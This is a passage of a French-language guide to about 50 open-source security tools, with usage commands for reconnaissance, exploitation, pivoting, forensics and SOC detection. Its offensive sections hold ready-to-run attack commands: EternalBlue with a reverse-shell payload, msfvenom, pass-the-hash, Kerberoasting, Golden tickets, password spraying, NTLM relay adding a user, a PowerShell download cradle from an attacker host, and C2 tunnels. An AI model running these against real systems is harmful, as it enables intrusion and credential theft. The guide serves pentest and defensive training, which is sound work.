Arsenal Open Source : 50 Outils Sécurité Essentiels

L'écosystème open source de la cybersécurité offensivo-défensive n'a jamais été aussi riche et mature qu'en 2026. Des outils de reconnaissance passive aux frameworks post-exploitation complets, en passant par les solutions de monitoring, d'analyse forensique et de threat intelligence, les équipes de sécurité disposent d'un arsenal gratuit et souvent comparable — voire supérieur — aux solutions commerciales payantes. Cet inventaire technique couvre 50 outils open source indispensables, organisés en sept catégories fonctionnelles, avec pour chacun une description technique précise, les commandes d'installation et d'utilisation essentielles, des cas d'usage concrets et une mise en perspective dans les méthodologies de sécurité actuelles. Chaque outil est évalué selon sa maturité, son activité de développement (commits GitHub 2025), sa documentation et sa facilité d'intégration dans des pipelines automatisés. L'objectif n'est pas de lister exhaustivement tous les outils existants, mais de présenter ceux qui ont fait leurs preuves dans des environnements de production réels, utilisés par les équipes Red Team, Blue Team, SOC et les praticiens de la réponse aux incidents dans les organisations de toutes tailles, des PME aux grandes entreprises du CAC 40.

1. Catégorie Reconnaissance : cartographier la surface d'attaque

2. Amass — Cartographie de l'infrastructure externe

Amass (OWASP Amass) est le standard de facto pour l'énumération de sous-domaines et la cartographie des actifs externes. Il combine de nombreuses sources de données actives et passives.

# Installation
go install -v github.com/owasp-amass/amass/v4/...@master

# Énumération passive (sans connexion directe à la cible)
amass enum -passive -d example.com -o results.txt

# Énumération active (DNS brute force, zone transfers, etc.)
amass enum -active -d example.com -brute -w /usr/share/wordlists/subdomains.txt

# Cartographie complète avec visualisation
amass enum -d example.com -o amass_results.txt
amass viz -d3 -dir ~/.config/amass/

# Intelligence gathering (ASN, CIDR, organisations liées)
amass intel -org "Company Name" -max-dns-queries 500

# Résultat : sous-domaines, ASN, plages IP, technologies, relations

3. theHarvester — OSINT multi-sources

theHarvester agrège des données OSINT depuis des moteurs de recherche, Shodan, Hunter.io, SecurityTrails et d'autres sources pour cartographier la présence en ligne d'une organisation.

# Installation
pip3 install theHarvester

# Recherche multi-sources
theHarvester -d example.com -b google, bing, linkedin, shodan -l 500 -f results.html

# Sources disponibles (2026) :
# google, bing, yahoo, duckduckgo, baidu
# shodan (avec API key), censys, securitytrails
# linkedin, twitter, hunter
# dnsdumpster, crtsh, anubis, rapiddns

# Extraire uniquement les emails (utile pour phishing/spear-phishing assessment)
theHarvester -d company.fr -b google, linkedin -l 200 | grep "@company.fr"

# API keys dans /etc/theHarvester/api-keys.yaml

4. Shodan CLI — Moteur de recherche pour équipements connectés

# Installation et configuration
pip3 install shodan
shodan init YOUR_API_KEY

# Recherches utiles pour la reconnaissance externe
# Services exposés d'une organisation
shodan search "org:\"Company Name\"" --fields ip_str, port, product, version

# Certificats SSL pour découvrir des sous-domaines
shodan search "ssl.cert.subject.cn:*.company.com" --fields ip_str, port, ssl

# Serveurs Jenkins exposés (source commune de fuites de code/secrets)
shodan search "product:Jenkins port:8080" --fields ip_str, org, country_code

# Bases de données MongoDB sans authentification
shodan search "product:MongoDB" --fields ip_str, port, org

# Vérifier l'exposition d'une IP spécifique
shodan host 185.199.108.153

# Alertes automatiques (surveillance continue)
shodan alert create "company_name" "org:\"Company Name\""

5. Subfinder — Découverte rapide de sous-domaines

# Installation
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Découverte passive ultra-rapide (50+ sources)
subfinder -d example.com -o subdomains.txt

# Avec toutes les sources configurées (API keys dans ~/.config/subfinder/provider-config.yaml)
subfinder -d example.com -all -recursive -o subdomains_full.txt

# Pipeline avec httpx pour valider les sous-domaines actifs
subfinder -d example.com -silent | httpx -silent -status-code -title -o live_subdomains.txt

# Combinaison avec dnsx pour résolution DNS
subfinder -d example.com -silent | dnsx -silent -a -resp -o resolved.txt

6. Catégorie Scanning : détection des vulnérabilités

7. Nuclei — Scanner de vulnérabilités basé sur des templates

Nuclei, développé par ProjectDiscovery, est devenu en quelques années l'outil de scanning de vulnérabilités le plus utilisé dans les programmes de bug bounty et les évaluations de sécurité. Sa force réside dans son système de templates YAML qui permet à la communauté de partager des détections pour les CVEs du jour en quelques heures.

# Installation
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Mise à jour des templates (>9000 templates en 2026)
nuclei -update-templates

# Scan basique sur une cible
nuclei -u https://example.com

# Scan avec filtre sur la sévérité
nuclei -u https://example.com -severity critical, high

# Scan sur une liste de cibles (output bug bounty)
nuclei -l targets.txt -severity critical, high -o nuclei-results.txt

# Scan ciblé sur des technologies spécifiques
nuclei -u https://example.com -tags apache, nginx, iis, wordpress

# Scan réseau (pas uniquement HTTP)
nuclei -u 192.168.1.0/24 -t network/ -severity critical, high

# Écrire un template Nuclei personnalisé
cat > custom-cve-check.yaml << 'EOF'
id: custom-cve-2024-example

info:
  name: CVE-2024-XXXXX — Vérification de version vulnérable
  author: security-team
  severity: high
  description: Détecte la présence d'une version vulnérable de l'application

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/version"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "version.*[\"'](1\\.0\\.|2\\.0\\.[0-4])"
        condition: or

    extractors:
      - type: regex
        name: version
        regex:
          - "version.*[\"']([0-9.]+)"
        group: 1
EOF

nuclei -u https://target.com -t custom-cve-check.yaml -v

8. Nmap — Le scanner réseau universel

# Scripts NSE (Nmap Scripting Engine) essentiels 2026

# Scan de découverte réseau rapide
nmap -sn 192.168.1.0/24 --open

# Scan complet avec détection OS et versions
nmap -sV -sC -O -p- --open -T4 192.168.1.100 -oA full_scan

# Scripts de vulnérabilités (avec prudence en prod)
nmap --script vuln 192.168.1.100

# Détection des services web
nmap -sV -p 80,443,8080,8443,8888,9000 --script http-title, http-headers 192.168.1.0/24

# Scripts SMB pour détection de EternalBlue et variantes
nmap -p 445 --script smb-vuln-ms17-010, smb-security-mode 192.168.1.0/24

# Scan UDP (lent mais nécessaire pour SNMP, DNS, NTP)
nmap -sU -p 53,67,69,123,161,500 192.168.1.0/24

# Génération de rapport HTML avec nmap-bootstrap-xsl
nmap -sV 192.168.1.0/24 -oX scan.xml
xsltproc nmap-bootstrap.xsl scan.xml > scan.html

9. Nikto — Scanner de vulnérabilités web

# Installation
apt install nikto

# Scan basique
nikto -h https://example.com

# Scan avec authentification
nikto -h https://example.com -id admin:password

# Scan d'un sous-répertoire spécifique
nikto -h https://example.com -root /app/

# Export en HTML
nikto -h https://example.com -Format htm -o nikto-report.html

# Via un proxy (Burp Suite)
nikto -h https://example.com -useproxy http://127.0.0.1:8080

# Plugins disponibles :
# -Plugins "apacheusers, cgi, dictionary, errors, headers, httpoptions"

10. Catégorie Exploitation : frameworks offensifs

11. Metasploit Framework — L'incontournable

# Démarrage et configuration
msfconsole -q

# Recherche d'exploits
search type:exploit platform:windows CVE-2024

# Configuration et lancement d'un exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# Commandes Meterpreter essentielles
# sysinfo       — Informations système
# getuid        — Utilisateur courant
# getsystem     — Élévation de privilèges auto
# hashdump      — Dump des hashes SAM
# run post/multi/recon/local_exploit_suggester
# upload/download 
# portfwd add -l 3389 -p 3389 -r 192.168.1.200

# Générer un payload avec msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -f exe -e x86/shikata_ga_nai -i 5 \
  -o payload.exe

12. Impacket — Suite Python pour les protocoles Windows

Impacket est une collection de classes Python qui implémentent les protocoles réseau Windows (SMB, MSRPC, NTLM, Kerberos, LDAP, etc.). C'est la boîte à outils indispensable pour le pentesting Active Directory.

# Installation
pip3 install impacket
# ou version dev
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

# psexec.py — Exécution de commandes via SMB (similaire PsExec Sysinternals)
impacket-psexec domain.local/admin:password@192.168.1.100

# secretsdump.py — Extraction des hashes (SAM, LSA secrets, NTDS.dit)
impacket-secretsdump domain.local/admin:password@192.168.1.100
# Pass-the-hash :
impacket-secretsdump -hashes :ntlm_hash domain.local/admin@192.168.1.100

# GetUserSPNs.py — Kerberoasting (extraction de tickets TGS)
impacket-GetUserSPNs domain.local/user:password -dc-ip 192.168.1.10 -request

# GetNPUsers.py — ASREPRoasting (comptes sans pré-auth Kerberos)
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10

# lookupsid.py — Enumération des SID (utilisateurs, groupes)
impacket-lookupsid domain.local/guest:@192.168.1.10

# wmiexec.py — Exécution via WMI (moins d'artefacts que psexec)
impacket-wmiexec domain.local/admin:password@192.168.1.100

# smbclient.py — Client SMB interactif
impacket-smbclient domain.local/admin:password@192.168.1.100

# ticketer.py — Forge de tickets Kerberos (Golden/Silver ticket)
# Nécessite le hash KRBTGT (Golden) ou le hash du service (Silver)
impacket-ticketer -nthash  -domain-sid S-1-5-21-xxx -domain domain.local Administrator

13. CrackMapExec / NetExec — Swiss Army Knife Active Directory

CrackMapExec (maintenant forké en NetExec) est l'outil de prédilection pour l'évaluation de la sécurité Active Directory à grande échelle. Il permet de tester les authentifications, d'exécuter des commandes et d'extraire des informations sur des milliers d'hôtes simultanément.

# Installation NetExec (successor de CrackMapExec)
pip3 install netexec
# ou
apt install netexec

# Découverte SMB et identification des machines AD
nxc smb 192.168.1.0/24

# Test d'authentification sur un sous-réseau complet
nxc smb 192.168.1.0/24 -u admin -p password

# Password spraying (test d'un mot de passe sur tous les comptes)
nxc smb 192.168.1.10 -u users.txt -p 'Password123!' --continue-on-success

# Pass-the-Hash
nxc smb 192.168.1.0/24 -u Administrator -H :ntlm_hash --local-auth

# Dump des secrets (SAM, LSA)
nxc smb 192.168.1.100 -u admin -p password --sam
nxc smb 192.168.1.100 -u admin -p password --lsa
nxc smb 192.168.1.100 -u admin -p password --ntds  # NTDS.dit (DC uniquement)

# Exécution de commandes
nxc smb 192.168.1.100 -u admin -p password -x "whoami /all"
nxc smb 192.168.1.100 -u admin -p password -X "Get-Process" --exec-method wmi

# Énumération LDAP
nxc ldap 192.168.1.10 -u admin -p password --users
nxc ldap 192.168.1.10 -u admin -p password --groups
nxc ldap 192.168.1.10 -u admin -p password --pass-pol  # Politique de mots de passe
nxc ldap 192.168.1.10 -u admin -p password --asreproast asrep.txt
nxc ldap 192.168.1.10 -u admin -p password --kerberoasting kerb.txt

# Modules disponibles
nxc smb 192.168.1.100 -u admin -p password -M mimikatz
nxc smb 192.168.1.100 -u admin -p password -M spider_plus  # Parcourir les partages

14. Responder — Poisoning NetBIOS/LLMNR

Responder est l'outil de référence pour les attaques de poisoning sur les protocoles de résolution de noms Windows (LLMNR, NBT-NS, mDNS) afin de capturer des hashes NTLMv2.

# Installation
git clone https://github.com/lgandx/Responder
cd Responder

# Démarrer l'écoute sur l'interface réseau
sudo python3 Responder.py -I eth0 -rdwv

# Options importantes :
# -r  : activer NBT-NS poisoning
# -d  : répondre aux requêtes broadcast
# -w  : activer le serveur WPAD
# -v  : mode verbose

# Hashes capturés dans : logs/SMB-NTLMv2-SSP-192.168.1.50.txt
# Format : DOMAIN\username::DOMAIN:challenge:ntlmv2_response

# Cracker les hashes capturés avec Hashcat
# NTLMv2 = mode 5600
hashcat -m 5600 responder_hashes.txt /usr/share/wordlists/rockyou.txt

# MultiRelay — Relay NTLM (quand SMB signing est désactivé)
# Depuis Responder/tools/
python3 MultiRelay.py -t 192.168.1.100 -u ALL -c "whoami"

# Alternative moderne : ntlmrelayx (Impacket)
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker Password1 /add"

15. BloodHound — Analyse des chemins d'attaque Active Directory

BloodHound utilise la théorie des graphes pour cartographier les relations dans Active Directory et identifier les chemins d'attaque vers des cibles privilégiées (Domain Admins, Domain Controllers).

# Installation BloodHound Community Edition (CE) avec Docker
git clone https://github.com/SpecterOps/BloodHound
cd BloodHound
cp examples/docker-compose/docker-compose.yml .
docker-compose up -d

# Accès : http://localhost:8080
# Credentials initiaux affichés dans les logs Docker

# Collecte de données avec SharpHound (collector .NET)
# Sur la machine Windows dans le domaine cible :
# powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All"

# Alternative : BloodHound.py (collector Python, depuis réseau)
pip3 install bloodhound
bloodhound-python -u admin -p password -d domain.local -c All -dc 192.168.1.10

# Requêtes Cypher essentielles dans BloodHound :
# Tous les chemins vers Domain Admins
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

# Comptes avec Kerberoastable et chemin vers DA
MATCH (u:User {hasspn:true}) RETURN u.name, u.admincount ORDER BY u.admincount DESC

# Ordinateurs où un administrateur de domaine est connecté
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN c.name, u.name

# AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

16. Catégorie Post-Exploitation : maintien d'accès et pivoting

17. Sliver — Framework C2 moderne

Sliver est un framework C2 (Command & Control) open source développé par BishopFox, conçu comme alternative open source à Cobalt Strike. Il supporte de nombreux protocoles de communication (mTLS, WireGuard, HTTP/S, DNS).

# Installation Sliver serveur
curl https://sliver.sh/install|sudo bash

# Démarrer le serveur Sliver
sliver-server

# Dans la console Sliver :
# Générer un implant (beacon)
generate beacon --mtls 192.168.1.10:443 --os windows --arch amd64 --save /tmp/beacon.exe

# Listener mTLS
mtls --lport 443

# Commandes sur une session active
sessions
use 
whoami
info
ps
netstat
shell
upload /local/file /remote/path
download /remote/path /local/

# Pivoting
socks5 start --port 1080  # Proxy SOCKS5 via le beacon
portfwd add --remote 192.168.2.0/24:3389  # Port forwarding

# Générer un implant Sliver avec obfuscation
generate --mtls 192.168.1.10:443 --os windows --obfuscate --evasion

18. Chisel — Tunneling TCP/UDP via HTTP

# Installation
go install github.com/jpillora/chisel@latest

# Serveur (côté attaquant)
chisel server --port 8080 --reverse

# Client (sur la machine compromise)
chisel client attacker_ip:8080 R:1080:socks  # Reverse SOCKS proxy
# ou
chisel client attacker_ip:8080 R:3389:192.168.2.10:3389  # Port forward vers une machine interne

# Utiliser le proxy SOCKS avec ProxyChains
# /etc/proxychains4.conf : socks5 127.0.0.1 1080
proxychains4 nmap -sT -Pn 192.168.2.0/24

# Tunneling DNS (alternative pour les environnements très filtrés)
# dns2tcp ou iodine pour tunneling via DNS

19. Ligolo-ng — Tunneling moderne sans proxychains

# Ligolo-ng — agent TUN (pas de proxy SOCKS, interface réseau virtuelle)
# Plus performant que chisel/proxychains pour le scan réseau

# Serveur (attaquant)
./proxy -selfcert -laddr 0.0.0.0:11601

# Agent (machine compromise)
./agent -connect attacker_ip:11601 -ignore-cert

# Dans la console ligolo-ng :
session  # Sélectionner la session
tunnel_start  # Démarrer le tunnel

# Ajouter une route vers le réseau interne sur l'hôte attaquant
sudo ip route add 192.168.2.0/24 dev ligolo

# Maintenant accès direct au réseau 192.168.2.0/24 sans proxychains
nmap -sV 192.168.2.0/24  # Scan direct, performances optimales

20. Catégorie Forensique : analyse post-incident

21. Volatility 3 — Analyse de mémoire vive

Volatility est le framework d'analyse forensique de mémoire le plus utilisé au monde. La version 3, réécrite en Python 3, est plus rapide et ne nécessite plus de profil pré-configuré.

# Installation
pip3 install volatility3

# Informations générales sur le dump
python3 vol.py -f memory.dmp windows.info

# Processus
python3 vol.py -f memory.dmp windows.pslist
python3 vol.py -f memory.dmp windows.pstree
python3 vol.py -f memory.dmp windows.psscan  # Anti-rootkit : scan direct mémoire

# Connexions réseau
python3 vol.py -f memory.dmp windows.netstat

# DLLs chargées
python3 vol.py -f memory.dmp windows.dlllist --pid 1234

# Détection de code injecté
python3 vol.py -f memory.dmp windows.malfind
python3 vol.py -f memory.dmp windows.malfind --pid 1234  # Cibler un processus

# Extraction d'artefacts
python3 vol.py -f memory.dmp windows.dumpfiles --pid 1234
python3 vol.py -f memory.dmp windows.memmap --pid 1234 --dump

# Registre
python3 vol.py -f memory.dmp windows.registry.hivelist
python3 vol.py -f memory.dmp windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Analyse de dump Linux
python3 vol.py -f linux_memory.lime linux.pslist
python3 vol.py -f linux_memory.lime linux.bash  # Historique bash en mémoire
python3 vol.py -f linux_memory.lime linux.netstat

22. YARA — Détection de malwares par pattern matching

YARA est le langage de règles standard pour la détection de malwares. Développé par Victor Alvarez (VirusTotal), il est utilisé par presque tous les éditeurs de sécurité et les équipes CERT/CSIRT.

# Installation
apt install yara
pip3 install yara-python

# Écriture d'une règle YARA
cat > detect_cobalt_strike.yar << 'EOF'
rule CobaltStrike_Beacon_Generic {
    meta:
        description = "Détecte les beacons Cobalt Strike génériques"
        author = "Security Team"
        severity = "critical"
        reference = "https://www.cobaltstrike.com"

    strings:
        // Strings caractéristiques des beacons CS
        $cs1 = "beacon.x64.dll" nocase
        $cs2 = "ReflectiveDll" fullword
        $cs3 = { 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 }  // MZ header
        $cs4 = "Host: %s" wide
        $cs5 = "%s (admin)" wide

        // Séquences d'opcodes caractéristiques (x64)
        $opcode1 = { 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 85 C0 }
        $opcode2 = { E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B C8 }

    condition:
        (uint16(0) == 0x5A4D and  // MZ header
         2 of ($cs*)) or
        (all of ($opcode*))
}

rule Mimikatz_Strings {
    meta:
        description = "Détecte des strings Mimikatz"
        severity = "critical"

    strings:
        $m1 = "sekurlsa::logonpasswords" nocase
        $m2 = "lsadump::sam" nocase
        $m3 = "mimikatz" nocase fullword
        $m4 = "WDigest" wide nocase
        $m5 = "SamSs" wide
        $m6 = { 6B 00 69 00 72 00 69 00 }  // "kiri" in wide

    condition:
        3 of them
}
EOF

# Scanner un fichier
yara detect_cobalt_strike.yar suspicious_file.exe

# Scanner un répertoire récursivement
yara -r detect_cobalt_strike.yar /var/suspicious/

# Scanner un processus en mémoire (avec yara-python)
python3 -c "
import yara
import psutil

rules = yara.compile('detect_cobalt_strike.yar')

for proc in psutil.process_iter(['pid', 'name']):
    try:
        matches = rules.match(pid=proc.info['pid'])
        if matches:
            print(f'[!] MATCH: PID {proc.info[\"pid\"]} ({proc.info[\"name\"]})')
            for match in matches:
                print(f'    Rule: {match.rule}')
    except:
        pass
"

# Ressources de règles YARA publiques :
# - https://github.com/Yara-Rules/rules
# - https://github.com/elastic/protections-artifacts
# - https://github.com/Neo23x0/signature-base (Florian Roth)

23. Autopsy / The Sleuth Kit — Forensique disque

# The Sleuth Kit (TSK) — outils CLI forensiques

# Analyser un artefact disque (image forensique)
# Créer une image forensique avec dc3dd
dc3dd if=/dev/sdb of=/forensics/disk.dd hash=sha256 log=/forensics/hash.log

# Analyser avec TSK
mmls disk.dd           # Afficher les partitions
fsstat -f ntfs disk.dd # Informations NTFS
fls -r -l disk.dd      # Lister tous les fichiers (y compris supprimés)
icat disk.dd 12345      # Extraire un fichier par inode

# Timeline forensique
mactime -b bodyfile.txt -d > timeline.csv

# Autopsy (interface graphique sur TSK)
autopsy &  # Interface web sur http://localhost:9999

# Analyse rapide avec Plaso (log2timeline)
pip3 install plaso
log2timeline.py /forensics/timeline.plaso disk.dd
pinfo.py /forensics/timeline.plaso
psort.py -z UTC -o dynamic /forensics/timeline.plaso > timeline_sorted.csv

24. Catégorie Monitoring/SOC : détection et réponse

25. Suricata — IDS/IPS réseau open source

Suricata est le moteur IDS/IPS (Intrusion Detection/Prevention System) réseau le plus utilisé dans les SOC open source. Il supporte l'analyse de protocoles à couche 7 et l'intégration avec des bases de règles comme Emerging Threats.

# Installation
apt install suricata

# Configuration /etc/suricata/suricata.yaml — interfaces critiques
# HOME_NET: [192.168.1.0/24, 10.0.0.0/8]
# EXTERNAL_NET: !$HOME_NET

# Télécharger les règles Emerging Threats (gratuites)
suricata-update

# Démarrer en mode IDS (lecture seule)
suricata -c /etc/suricata/suricata.yaml -i eth0

# Mode PCAP (analyse de capture)
suricata -c /etc/suricata/suricata.yaml -r capture.pcap

# Règles Suricata personnalisées
cat >> /etc/suricata/rules/local.rules << 'EOF'
# Détecter les communications Cobalt Strike (default beacon)
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"ET MALWARE CobaltStrike Beacon Default Jitter";
  flow:established, to_server;
  content:"GET"; http_method;
  pcre:"/^\/[a-zA-Z0-9]{4}$/Ui";
  http_header_names; content:"|0d 0a|Host|0d 0a|"; depth:30;
  threshold:type both, track by_src, count 5, seconds 60;
  classtype:command-and-control;
  sid:9900001; rev:1;)

# Détecter l'exfiltration de données via DNS (DNS tunneling)
alert dns $HOME_NET any -> any 53 (
  msg:"Possible DNS Tunneling — Long subdomain";
  dns.query; content:".";
  pcre:"/^[a-zA-Z0-9+\/]{30,}\./";
  threshold:type both, track by_src, count 20, seconds 60;
  classtype:policy-violation;
  sid:9900002; rev:1;)
EOF

# Vérifier la syntaxe des règles
suricata --list-keywords | grep -i "dns"
suricata -T -c /etc/suricata/suricata.yaml  # Test de configuration

# Analyser les alertes
tail -f /var/log/suricata/fast.log
cat /var/log/suricata/eve.json | jq 'select(.event_type=="alert")' | head -20

26. Wazuh — SIEM/XDR open source

Wazuh est une plateforme SIEM/XDR open source qui combine la gestion des agents, la corrélation d'événements, la conformité réglementaire et la réponse aux incidents.

# Installation Wazuh avec Docker (all-in-one)
git clone https://github.com/wazuh/wazuh-docker.git
cd wazuh-docker/single-node
docker-compose -f generate-indexer-certs.yml run --rm generator
docker-compose up -d

# Accès tableau de bord : https://localhost
# Credentials : admin / SecretPassword

# Déploiement de l'agent sur un endpoint Linux
# (depuis le tableau de bord ou CLI)
WAZUH_MANAGER='wazuh.company.com' bash -c \
  "$(curl -s https://packages.wazuh.com/4.x/linux/wazuh-agent-install.sh)"
systemctl enable wazuh-agent && systemctl start wazuh-agent

# Règles de détection personnalisées Wazuh
# /var/ossec/etc/rules/local_rules.xml
cat >> /var/ossec/etc/rules/local_rules.xml << 'EOF'


  18104  
  23:00-06:00
  SMB connection during off-hours — potential lateral movement
  lateral_movement, mitre_t1021.002




  4720  
  Local user account created — verify authorization
  account_change, authentication

EOF

# Restart pour appliquer les règles
systemctl restart wazuh-manager

27. Zeek (Bro) — Analyse de trafic réseau

# Installation Zeek
apt install zeek

# Analyse d'une capture PCAP
zeek -r capture.pcap

# Fichiers générés automatiquement :
# conn.log     — toutes les connexions (IP, ports, durée, bytes)
# dns.log      — requêtes DNS (détection de tunneling)
# http.log     — requêtes HTTP (user-agents, URLs, codes)
# ssl.log      — handshakes TLS (détection de certificats suspects)
# files.log    — fichiers transférés
# smtp.log     — emails (détection de phishing)
# weird.log    — anomalies protocolaires

# Zeek en mode live sur une interface
zeek -i eth0 &

# Analyser les logs Zeek avec zq (ZED language)
# Trouver les gros transferts de données (exfiltration potentielle)
cat conn.log | zeek-cut id.orig_h id.resp_h orig_bytes | \
  awk '$3 > 10000000' | sort -k3 -n | tail -20

# Détecter le beaconing (connexions périodiques — C2)
cat conn.log | zeek-cut id.orig_h id.resp_h duration | \
  awk 'NR>1 {print $1, $2, $3}' | sort | \
  python3 /etc/zeek/scripts/beaconing_detector.py

# Script Zeek pour détecter les noms de domaine DGA (Domain Generation Algorithm)
# /etc/zeek/scripts/detect_dga.zeek
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) {
    if (|query| > 25 && /^[a-z0-9]{15,}\./ in query) {
        NOTICE([$note=Potential_DGA,
                $msg=fmt("Possible DGA domain: %s from %s", query, c$id$orig_h),
                $conn=c]);
    }
}

28. TheHive — Plateforme de gestion des incidents

TheHive est une plateforme de gestion des incidents de sécurité (IRP — Incident Response Platform) open source, intégrable avec MISP (partage de threat intelligence) et Cortex (analyse automatisée).

# Installation avec Docker
git clone https://github.com/TheHive-Project/TheHive
cd TheHive/docker
docker-compose up -d

# API TheHive — création d'un cas via Python
pip3 install thehive4py

python3 << 'EOF'
from thehive4py.api import TheHiveApi
from thehive4py.models import Case, CaseTask, CaseObservable

api = TheHiveApi('http://localhost:9000', 'your_api_key')

# Créer un nouveau cas d'incident
case = Case(
    title='Incident Ransomware — Détection Suricata',
    description='Détection d\'activité Cobalt Strike sur 3 endpoints',
    severity=3,  # 1=low, 2=medium, 3=high, 4=critical
    tlp=2,       # TLP:AMBER
    tags=['ransomware', 'cobalt-strike', 'lateral-movement']
)
response = api.create_case(case)
case_id = response.json()['id']

# Ajouter des observables (IOCs)
observables = [
    CaseObservable(dataType='ip', data=['185.220.101.45'], tags=['c2']),
    CaseObservable(dataType='domain', data=['malicious-domain.com'], tags=['c2']),
    CaseObservable(dataType='hash', data=['d41d8cd98f00b204e9800998ecf8427e'], tags=['malware'])
]
for obs in observables:
    api.create_case_observable(case_id, obs)

print(f"Cas créé : {case_id}")
EOF

29. MISP — Plateforme de partage de threat intelligence

# MISP (Malware Information Sharing Platform)
# Installation via Docker
docker pull misp/misp
# ou installation complète via le script officiel
curl -O https://raw.githubusercontent.com/MISP/MISP/2.5/INSTALL/INSTALL.ubuntu2204.sh
bash INSTALL.ubuntu2204.sh

# API MISP avec PyMISP
pip3 install pymisp

python3 << 'EOF'
from pymisp import PyMISP, MISPEvent, MISPAttribute

misp = PyMISP('https://misp.company.com', 'your_auth_key', ssl=False)

# Rechercher des IOCs dans MISP
result = misp.search(controller='attributes',
                     value='185.220.101.45',
                     type_attribute='ip-dst')
for attr in result:
    print(f"IOC trouvé: {attr['value']} | Event: {attr['Event']['info']}")

# Créer un événement avec les IOCs d'un incident
event = MISPEvent()
event.info = "Cobalt Strike C2 — Incident 2026-001"
event.distribution = 1  # Organisation seulement
event.threat_level_id = 2  # Medium
event.analysis = 1  # En cours

# Ajouter des attributs
event.add_attribute('ip-dst', '185.220.101.45', comment='C2 server')
event.add_attribute('domain', 'malicious-domain.com', comment='C2 domain')
event.add_attribute('md5', 'd41d8cd98f00b204e9800998ecf8427e', comment='Beacon')

misp.add_event(event)
print("Événement MISP créé et partagé")
EOF

30. OpenCTI — Threat Intelligence Platform moderne

# OpenCTI — Alternative moderne à MISP, nativement liée à STIX/TAXII
git clone https://github.com/OpenCTI-Platform/docker
cd docker
cp .env.sample .env
# Editer .env avec les credentials
docker-compose up -d

# Connecteurs disponibles : MITRE ATT&CK, CISA KEV, VirusTotal, Shodan,
#                           AlienVault OTX, AbuseIPDB, Mandiant...

# API OpenCTI avec pycti
pip3 install pycti

python3 << 'EOF'
from pycti import OpenCTIApiClient

api = OpenCTIApiClient('https://opencti.company.com', 'your_api_token')

# Rechercher des indicateurs de compromission
indicators = api.indicator.list(filters=[{
    "key": "value",
    "values": ["185.220.101.45"]
}])

for indicator in indicators:
    print(f"Indicateur: {indicator['name']} | Score: {indicator.get('x_opencti_score')}")
EOF

31. Catégorie Cryptographie et mots de passe

32. Hashcat — Cassage de hashes GPU

# Installation
apt install hashcat

# Modes de hash courants :
# 0      = MD5
# 100    = SHA1
# 1000   = NTLM (Windows)
# 1800   = SHA-512 (Linux /etc/shadow)
# 2500   = WPA-PMKID (WiFi)
# 5600   = NTLMv2 (Responder captures)
# 13100  = Kerberos TGS (Kerberoasting)
# 18200  = Kerberos AS-REP (ASREPRoasting)
# 22000  = WPA-PBKDF2-PMKID+EAPOL

# Attaque dictionnaire simple
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Attaque avec règles (transformation du dictionnaire)
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Attaque hybride (dictionnaire + masque)
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -a 6 ?d?d?d?d

# Attaque par masque (brute force intelligent)
# ?l=minuscule ?u=majuscule ?d=chiffre ?s=spécial
hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l?d?d?s

# Kerberoasting — casser des tickets TGS
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Optimisation GPU (NVIDIA)
hashcat -m 1000 hashes.txt wordlist.txt --gpu-temp-abort=90 -O -w 3

33. John the Ripper — Cassage de mots de passe polyvalent

# Installation (version jumbo avec plus de formats)
apt install john

# Casser /etc/shadow Linux
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Casser les hashes NTLM
john ntlm.txt --format=NT --wordlist=wordlist.txt

# Casser des archives chiffrées
zip2john protected.zip > zip_hash.txt
john zip_hash.txt --wordlist=wordlist.txt

pdf2john encrypted.pdf > pdf_hash.txt
john pdf_hash.txt

# Casser des clés SSH avec passphrase
ssh2john id_rsa_protected > ssh_hash.txt
john ssh_hash.txt --wordlist=wordlist.txt

# Voir les mots de passe cassés
john --show ntlm.txt

34. Catégorie Infrastructure et automatisation

35. Ansible — Automatisation de la gestion de configuration sécurité

# Playbook Ansible pour hardening Linux (CIS Benchmark)
---
- name: CIS Linux Hardening
  hosts: all
  become: yes
  vars:
    ssh_port: 22
    allowed_ssh_users: ["deployer", "admin"]

  tasks:
  - name: "CIS 1.1.1 — Désactiver les systèmes de fichiers inutilisés"
    copy:
      dest: /etc/modprobe.d/cis-hardening.conf
      content: |
        install cramfs /bin/false
        install freevxfs /bin/false
        install jffs2 /bin/false
        install hfs /bin/false
        install hfsplus /bin/false
        install squashfs /bin/false
        install udf /bin/false

  - name: "CIS 3.2 — Désactiver le forwarding IPv4"
    sysctl:
